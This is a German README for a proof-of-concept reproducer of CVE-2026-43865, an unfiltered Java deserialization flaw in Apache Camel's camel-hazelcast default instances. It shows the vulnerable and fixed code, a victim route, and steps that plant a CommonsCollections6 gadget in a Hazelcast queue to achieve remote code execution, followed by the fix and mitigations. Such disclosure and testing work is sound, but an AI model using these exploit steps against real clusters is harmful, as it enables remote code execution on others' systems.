camel-hazelcast Reproducer für unsichere Deserialisierung von Standard-Instanzen (CVE-2026-43865)

Dieses Projekt demonstriert eine Java-Deserialisierungsschwachstelle in der camel-hazelcast-Komponente von Apache Camel, die als CVE-2026-43865 verfolgt wird. Wenn Camel die Hazelcast-Config selbst erstellt – d.h. wenn keine benutzerdefinierte HazelcastInstance, hazelcastConfigUri oder ein referenzierter Config-Bean bereitgestellt wird – wendet es keinen Java-Deserialisierungsfilter an (weder Hazelcasts JavaSerializationFilterConfig noch einen Camel-seitigen ObjectInputFilter). Objekte, die über das Hazelcast-Cluster-Protokoll ankommen, werden daher in Hazelcasts Serialisierungsebene (ObjectInputStream.readObject) ohne Klasseneinschränkungen deserialisiert. Ein Angreifer, der dem Cluster beitreten oder anderweitig darauf zugreifen kann, kann ein manipuliertes serialisiertes Objekt veröffentlichen, das auf jedem Camel-Knoten deserialisiert wird – Remote Code Execution, standardmäßig vorhanden und ohne erforderliche Endpunktkonfiguration.

Hinweis: https://camel.apache.org/security/CVE-2026-43865.html

Schwachstellenzusammenfassung

Dies unterscheidet sich von den Hazelcast-Bibliothekshinweisen CVE-2016-10750 / CVE-2022-36418 (die Hazelcasts eigenen Code betreffen). Hier liegt der Fehler darin, dass Camel den von Hazelcast bereitgestellten Deserialisierungsschutz nicht anwendet.

Technische Details

Wenn keine Instanz/Konfiguration bereitgestellt wird, erstellt HazelcastDefaultComponent die Instanz aus der Standardkonfiguration und setzt keinen Serialisierungsfilter:

// HazelcastDefaultComponent - betroffen 4.18.2
if (hazelcastInstance == null && config == null) {
    config = new XmlConfigBuilder().build();
    config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
    config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
    hzInstance = Hazelcast.newHazelcastInstance(config);   // kein JavaSerializationFilterConfig
}

Der Fix fügt einen Standardfilter (Whitelist java./javax./org.apache.camel., Blacklist java.net.) auf Instanzen ein, die Camel selbst erstellt, und lässt benutzerdefinierte Config/HazelcastInstance unberührt:

// behoben 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config);   // <-- hinzugefügt
hzInstance = Hazelcast.newHazelcastInstance(config);

Jede Struktur, die das deserialisierte Objekt an Camel übergibt, löst es aus. Dieser PoC verwendet einen Queue-Consumer im Poll-Modus, bei dem IQueue.poll() das Kopf-Element deserialisiert, bevor Camel es weiterleitet:

// HazelcastQueueConsumer (Poll-Modus) - betroffen
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS);  // readObject, kein Filter
exchange.getIn().setBody(body);

Die Opfer-Route

from("hazelcast-queue:cve?queueConsumerMode=Poll")   // Camel erstellt die Standardinstanz (ungefiltert)
    .log("Consumed: ${body.class.name}");

Repository-Struktur – Angreifer vs. Opfer

Das Opfer ist der Camel-Knoten (ein Hazelcast-Mitglied). Der Angreifer ist jede Partei, die das Cluster erreichen kann. Dieser eigenständige PoC führt einen Hazelcast-Client (den Angreifer) aus, der demselben Ein-Mitglieder-Cluster (dev auf 127.0.0.1:5701) beitritt und ein Gadget in die Queue einstellt, die das Opfer konsumiert.

CVE-2026-43865/
├── pom.xml                 # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (Gadget)
├── Dockerfile              # führt die App aus (--add-opens für Gadget-Erstellung; Loopback-Cluster-Adresse)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # Opfer: hazelcast-queue Consumer (Standardinstanz)
    │   ├── Gadget.java             # CommonsCollections6 Gadget, wird während der Hazelcast-Deserialisierung ausgelöst
    │   └── ExploitController.java  # Angreifer: Hazelcast-Client stellt das Gadget in die Queue
    └── resources/
        └── application.properties

In einem echten Angriff werden die serialisierten Bytes vom eigenen Hazelcast-Client/-Mitglied des Angreifers erzeugt; nur das Opfer benötigt die Gadget-Kette auf seinem Classpath. Dieser PoC erstellt das Gadget prozessintern, weshalb die JVM mit --add-opens java.base/java.util=ALL-UNNAMED läuft – ein Detail der Gadget-Erstellung, nicht mit der Schwachstelle zusammenhängend.

Voraussetzungen

• Java 17+ und Maven 3.8+
• Docker (führt den Reproducer aus)

Reproduktionsschritte

Schritt 1: Container bauen und starten

mvn clean package -DskipTests
docker compose up -d --build

Schritt 2: Deserialisierung auslösen (RCE)

curl -s http://localhost:8080/exploit/attack
# -> Gadget in Hazelcast-Queue 'cve' als Cluster-Client eingestellt.
#    Der Queue.poll() des Camel-Knotens hat es über Hazelcast deserialisiert (kein Filter).
#
#    >>> RCE-Beweis — /tmp/pwned existiert: true

Schritt 3: Überprüfen

docker exec cve-2026-43865 ls -la /tmp/pwned

Aufräumen

docker compose down

Angriffsvektoren

Jede Camel-Route, die einen Hazelcast-Consumer verwendet (hazelcast-topic, hazelcast-queue, hazelcast-seda, hazelcast-map, hazelcast-multimap, hazelcast-replicatedmap, hazelcast-list, hazelcast-set) oder den HazelcastAggregationRepository / HazelcastIdempotentRepository, wenn die verwaltete Instanz aus Camels Standardkonfiguration erstellt wird und ein Angreifer das Cluster erreichen kann.

Auslösebedingungen

1. Ein camel-hazelcast-Consumer/Repository, das eine von Camel aus seiner Standardkonfiguration erstellte Instanz verwendet (keine benutzerdefinierte HazelcastInstance / hazelcastConfigUri / Config-Bean).
2. Der Angreifer kann dem Hazelcast-Cluster beitreten oder darauf zugreifen (standardmäßig keine Authentifizierung/TLS).
3. Eine Gadget-Bibliothek auf dem Classpath (hier commons-collections:3.2.1).

Empfohlener Fix

Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23414), das eine standardmäßige Hazelcast JavaSerializationFilterConfig auf Instanzen anwendet, die Camel aus seiner eigenen Standardkonfiguration erstellt.

Minderung

Bis zum Upgrade:

1. Konfigurieren Sie einen Deserialisierungsfilter auf der Hazelcast-Instanz (JavaSerializationFilterConfig oder den JVM-weiten -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*).
2. Aktivieren Sie Cluster-Authentifizierung und TLS von Hazelcast, um den Zugriff auf das Cluster einzuschränken.
3. Entfernen Sie Gadget-Bibliotheken aus dem Classpath (Upgrade/Entfernen von commons-collections 3.x und ähnlichen).

Haftungsausschluss

Dieser Reproducer wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.